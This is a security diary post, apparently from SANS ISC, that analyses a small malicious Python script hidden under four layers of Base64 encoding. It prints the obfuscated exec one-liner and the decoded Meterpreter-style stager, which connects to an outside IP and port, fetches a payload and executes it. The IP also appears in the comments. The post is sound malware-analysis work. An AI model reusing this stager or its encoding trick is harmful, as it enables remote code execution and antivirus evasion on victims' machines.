My next class:

"inception.py"... Multiple Base64 Encodings

Published: 2021-07-02. Last Updated: 2021-07-02 05:33:23 UTC
by Xavier Mertens (Version: 1)
4 comment(s)

"Inception" is a very nice SF movie in which, if you did not watch it, dreams are implemented in people's minds to help to get access to sensitive information from their memory. Then, a dream is implemented into another dream, etc... up to five levels[1]! If you are not paying attention to the movie, you can be quickly lost. 

Yesterday, I spotted an interesting malicious Python script. It has a very low VT score (3/58)[2] and is very small:

import base64;exec(base64.b64decode(bytes('aW1wb3J0IGJhc2U2NDtleGVjKGJhc2U2NC5iNjRkZWNvZGUoYnl0ZXMoJ2FXMXdiM0owSUdKaGMy
VTJORHRsZUdWaktHSmhjMlUyTkM1aU5qUmtaV052WkdVb1lubDBaWE1vSjFwWWFHeFplV2htV0RKc2RHTkhPWGxrUmpsbVMwTmthVmxZVG14T2Fs
RnVTMU0xYVU1cVVtdGFWMDUyV2tkVmIxZ3hPWEJpV0VKMlkyNVNabGg1WjI1Wk1qbHJXbGRPZWtwNWEzVmFNbFl3V2xjMWFtSXlVbXhqYVdkdVpG
aFNiVXhVWjI1TFUyZHVXVlpqZUdReVNYcFRha0pLVTBVMU1sZFVTakJpUjFKRVpVUmFhVkl5ZUhCVVJXUkxZVWROZVZaVVNrOVJNMmcyV2tWb1Mw
MVdhM3BWV0U1clVqSjRNRmRzUm5kaVYwbDZVMWRrYkZFd1NuZFpiV3hEWlZac1dFNVhOV0ZWTW1RMFZGVk9jazVyVG01aVJFSnFZbTF6TWxFeVpI
SlRiVTQyVFZod2FVMXJOWGxYYkdoU1pGZE5lVTlYY0doTmJGbDNVekJTU21NeVRYbFBWM0JvVFd4WmQxUkhlRTlWUmtWM1pFZGFWazFXU2xSVmJG
WkhWR3QwVW1Jd2NFUlhSVEV4VjFSSk5XUlhTblJXYlhCclVUSmtkbE51Y0ZabFZYaHhVbFJDVFdGclZUQlVSM0JHWlZVNVZGa3pUazVXUlZWNFZH
NXdhbU5GZEZKaU1IQkVWakJ3TlZkc1pFZGphMDV1WWtkNGJGSXdOWE5aTUdoU1RtdE9ibUV3Y0d0U01uZ3dWMnhOTVdWdFNraFdiWGhxVVRKamVG
TXhSbmRqTVVKWlZHcENhbUpzV25GYVJVMHhUVmRLZFZGdGFGcE5iazUyVTI1dk1WTnJjRFZsU0hCTlltdHdjMWRVVGxwaU1EVkVZVE5DV0dWclNt
dFJNakZTVDFkT05VNVliR0ZXTURSNVV6QmtNMk5GVG5WYVJ6bG9Wak5vYzFOVlpEUmlSMHB3WVVkMFRGWklhSHBVTW1SMlUyeHdSR042YkdwbFZG
WTFWMnhrVDAxcmRFaGtNMUpwVWpGYU1WTXdaRkpqUlhSU1kwZDRiRkl4V25GVE1HaDNZekpHV0ZOWVZtRlNNVnB4V1dwSmVHUXlUblJXYm5CcVpW
ZG9jRmRXYUU5aVJUVnhWVmhXV21Gc2EzZFhhMlJYWVcxSmVWVnRlRXhTTVVaM1V6Rk9ORTR3YjNwVVZ6VlFZbXMwTlZNeFJuWlFVMk53VjNwQ1pF
dFRhejBuTENkVlZFWXRPQ2NwS1M1a1pXTnZaR1VvS1NrPScsJ1VURi04JykpLmRlY29kZSgpKQ==','UTF-8')).decode())

When you see this, your reflex is to decode the Base64-encoded data. Probably a simple script, let's have a look at it:

remnux@remnux:/MalwareZoo/20210702$ base64dump.py inception.py
ID  Size    Encoded          Decoded          md5 decoded                     
--  ----    -------          -------          -----------                     
 1:       4 exec             {..              dfaf38dfe495302d62c3a9cefd4dc593
 2:    1384 aW1wb3J0IGJhc2U2 import base64;ex 953edd11c0c0f82534e750ebb8e4dad3
remnux@remnux:/MalwareZoo/20210702$ base64dump.py inception.py -s 2 -d
import base64;exec(base64.b64decode(bytes('aW1wb3J0IGJhc2U2NDtleGVjKGJhc2U2NC5iNjRkZWNvZGUoYnl0ZXMoJ1pYaGxZeWhmWDJsdGNH
OXlkRjlmS0NkaVlYTmxOalFuS1M1aU5qUmtaV052WkdVb1gxOXBiWEJ2Y25SZlh5Z25ZMjlrWldOekp5a3VaMlYwWlc1amIyUmxjaWduZFhSbUxU
Z25LU2duWVZjeGQySXpTakJKU0U1MldUSjBiR1JEZURaaVIyeHBURWRLYUdNeVZUSk9RM2g2WkVoS01Wa3pVWE5rUjJ4MFdsRndiV0l6U1dkbFEw
SndZbWxDZVZsWE5XNWFVMmQ0VFVOck5rTm5iREJqYm1zMlEyZHJTbU42TVhwaU1rNXlXbGhSZFdNeU9XcGhNbFl3UzBSSmMyTXlPV3BoTWxZd1RH
eE9VRkV3ZEdaVk1WSlRVbFZHVGt0UmIwcERXRTExV1RJNWRXSnRWbXBrUTJkdlNucFZlVXhxUlRCTWFrVTBUR3BGZVU5VFkzTk5WRVV4VG5wamNF
dFJiMHBEVjBwNVdsZEdja05uYkd4bFIwNXNZMGhSTmtObmEwcGtSMngwV2xNMWVtSkhWbXhqUTJjeFMxRndjMUJZVGpCamJsWnFaRU0xTVdKdVFt
aFpNbk52U25vMVNrcDVlSHBNYmtwc1dUTlpiMDVEYTNCWGVrSmtRMjFST1dONU5YbGFWMDR5UzBkM2NFTnVaRzloVjNoc1NVZDRiR0pwYUd0TFZI
aHpUMmR2U2xwRGN6bGplVFY1V2xkT01rdEhkM1JpUjFaMVMwZFJjRXRSY0d4bFIxWnFTMGh3YzJGWFNYVmFSMVpxWWpJeGQyTnRWbnBqZVdocFdW
aE9iRTVxVVhWWmFsa3dXa2RXYW1JeVVteExSMUZ3UzFONE4wb3pUVzVQYms0NVMxRnZQU2NwV3pCZEtTaz0nLCdVVEYtOCcpKS5kZWNvZGUoKSk=
','UTF-8')).decode())

Another Base64 chunk of data? Let's do it again. Finally, the payload was encoded four times! (Thanks to base64dump.py for working smoothly with pipes!)

remnux@remnux:/MalwareZoo/20210702$ base64dump.py inception.py -s 2 -d | \
base64dump.py -s 2 -d | \
base64dump.py -s 2 -d | \
base64dump.py -s 2 -d
import socket,zlib,base64,struct,time
for x in range(10):
    try:
        s=socket.socket(2,socket.SOCK_STREAM)
        s.connect(('52[.]14[.]18[.]129',11577))
        break
    except:
        time.sleep(5)
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(l)
while len(d)<l:
    d+=s.recv(l-len(d))
exec(zlib.decompress(base64.b64decode(d)),{'s':s})

Basically, what we have is this:

remnux@remnux:/MalwareZoo/20210702$ echo "Hello" | base64 | base64 | base64 | base64 -d | base64 -d | base64 -d
Hello

The decoded script is a slightly modified Meterpreter backdoor and the IP address is alive. I connected to it in a sandbox and expected to get some payload but nothing...

Simple technique but it remains very effective to bypass antivirus solutions!

[1] https://visual.ly/community/Infographics/entertainment/5-levels-inception
[2] https://www.virustotal.com/gui/file/5bbde2e0191fac97ecceb6daf05780ae794966cfa0eeeeeda57541e33205a133/detection

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

4 comment(s)
My next class:

Comments

I've connected to that IP and port and it's now a OpenSSH running under Debian.
Perhaps the campaign ended.

That same IP in virus total marks it as malicious
https://www.virustotal.com/gui/ip-address/52.14.18.129
Question - would "ciphey" have been able to automate this process? I would like to see how it would have handled it. :)
[quote=comment#44020]I've connected to that IP and port and it's now a OpenSSH running under Debian.
Perhaps the campaign ended.

That same IP in virus total marks it as malicious
https://www.virustotal.com/gui/ip-address/52.14.18.129[/quote]

Yes, same here now. Note that the IP has listeners on many high-ports!
[quote=comment#44022]Question - would "ciphey" have been able to automate this process? I would like to see how it would have handled it. :)[/quote]

I don't use ciphey so I can't answer this question... I just like Didier's tools ;-)

Diary Archives